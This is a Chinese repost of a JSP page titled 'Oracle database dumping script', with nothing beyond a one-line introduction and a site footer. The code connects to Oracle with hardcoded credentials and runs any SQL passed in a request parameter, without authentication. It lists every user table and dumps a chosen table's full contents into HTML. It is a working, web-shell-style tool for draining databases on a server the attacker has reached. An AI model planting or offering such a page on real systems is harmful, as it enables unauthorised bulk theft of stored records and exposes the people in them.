Oracle脱库脚本

前端之家收集整理的这篇文章主要介绍了Oracle脱库脚本前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

虽说十分简陋,但是应对一般的查询操作已经足够了。

  1. <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
  2. <%@ page import="java.sql.*" %>
  3. <%@ page import="java.util.*" %>
  4. <!DOCTYPE html>
  5. <html>
  6. <head>
  7. <title>Oracle数据库脱库脚本--N3verL4nd</title>
  8. </head>
  9. <body>
  10. <%!
  11. /** * 获取结果集的 ColumnLabel 对应的 List * @param rs * @return * @throws sqlException */
  12. @SuppressWarnings("unchecked")
  13. private List getColumnLabels(ResultSet rs) throws sqlException {
  14. ResultSetMetaData MetaData;
  15. List labels = new ArrayList();
  16. MetaData = rs.getMetaData();
  17. for (int i = 0; i < MetaData.getColumnCount(); i++) {
  18. labels.add(MetaData.getColumnLabel(i + 1));
  19. }
  20. return labels;
  21. }
  22.  
  23. /** * 将 ResultSet 转换为 List 并返回 * @param rs * @return * @throws sqlException */
  24. @SuppressWarnings("unchecked")
  25. private List resolveResultSet(ResultSet rs) throws sqlException {
  26. List list = new ArrayList();
  27. Map map = null;
  28. List<String> labels = getColumnLabels(rs);
  29. while (rs.next()) {
  30. map = new HashMap();
  31. for (int i = 0; i < labels.size(); i++) {
  32. String label = labels.get(i);
  33. map.put(label,rs.getObject(label));
  34. }
  35. list.add(map);
  36. }
  37. return list;
  38. }
  39. %>
  40.  
  41. <%
  42. try {
  43. Class.forName("oracle.jdbc.driver.OracleDriver");
  44. } catch (ClassNotFoundException e) {
  45. e.printStackTrace();
  46. }
  47.  
  48. // 需要配置的地方
  49. //-----------------------------
  50. String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
  51. String username = "drcom";
  52. String password = "drcom";
  53. //-----------------------------
  54.  
  55. Connection conn = null;
  56. Statement stmt = null;
  57. ResultSet rs = null;
  58.  
  59. String path = request.getScheme() + "://" +
  60. request.getServerName() + ":" +
  61. request.getServerPort() +
  62. request.getContextPath() +
  63. request.getServletPath();
  64.  
  65. try {
  66. conn = DriverManager.getConnection(url,username,password);
  67. if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
  68. String sql = request.getParameter("sql");
  69. stmt = conn.createStatement();
  70. rs = stmt.executeQuery(sql);
  71.  
  72. List list = resolveResultSet(rs);
  73. for (int i = 0; i < list.size(); i++) {
  74. Map map = (Map) list.get(i);
  75. Iterator it = map.entrySet().iterator();
  76. while (it.hasNext()) {
  77. Map.Entry entry = (Map.Entry) it.next();
  78. Object key = entry.getKey();
  79. Object value = entry.getValue();
  80. out.println(key.toString().toLowerCase() + ":" + value);
  81. out.println("&nbsp;&nbsp;");
  82. }
  83. out.println("<br />");
  84. }
  85.  
  86. } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
  87. // 输出所有用户
  88. stmt = conn.createStatement();
  89. rs = stmt.executeQuery("select table_name from user_tables");
  90. out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
  91. while (rs.next()) {
  92. out.print("<a href=");
  93. out.print(path);
  94. out.print("?table=");
  95. out.print(rs.getString(1));
  96. out.print(" target=_blank>");
  97. out.print(rs.getString(1));
  98. out.print("</a><br />");
  99. }
  100. } else {
  101. String table = request.getParameter("table");
  102. stmt = conn.createStatement();
  103. rs = stmt.executeQuery("select * from " + table);
  104.  
  105. List list = resolveResultSet(rs);
  106.  
  107. out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");
  108.  
  109. out.println("<table border=\"1\">");
  110.  
  111. if (list.size() != 0) {
  112. Map map = (Map) list.get(0);
  113. out.println("<tr>");
  114. Iterator it = map.entrySet().iterator();
  115. while (it.hasNext()) {
  116. Map.Entry entry = (Map.Entry) it.next();
  117. Object value = entry.getKey();
  118. out.println("<th>" + value + "</th>");
  119. }
  120. out.println("</tr>");
  121. }
  122.  
  123. for (int i = 0; i < list.size(); i++) {
  124. out.println("<tr>");
  125. Map map = (Map) list.get(i);
  126. Iterator it = map.entrySet().iterator();
  127. while (it.hasNext()) {
  128. Map.Entry entry = (Map.Entry) it.next();
  129. Object value = entry.getValue();
  130. out.println("<td>" + value + "</td>");
  131. }
  132. out.println("</tr>");
  133. }
  134. out.println("</table>");
  135. }
  136.  
  137. } catch (sqlException e) {
  138. e.printStackTrace();
  139. } finally {
  140. if (rs != null) {
  141. try {
  142. rs.close();
  143. } catch (sqlException e) {
  144. e.printStackTrace();
  145. }
  146. }
  147. if (stmt != null) {
  148. try {
  149. stmt.close();
  150. } catch (sqlException e) {
  151. e.printStackTrace();
  152. }
  153. }
  154. if (conn != null) {
  155. try {
  156. conn.close();
  157. } catch (sqlException e) {
  158. e.printStackTrace();
  159. }
  160. }
  161. }
  162. %>
  163. </body>
  164. </html>

猜你在找的Oracle相关文章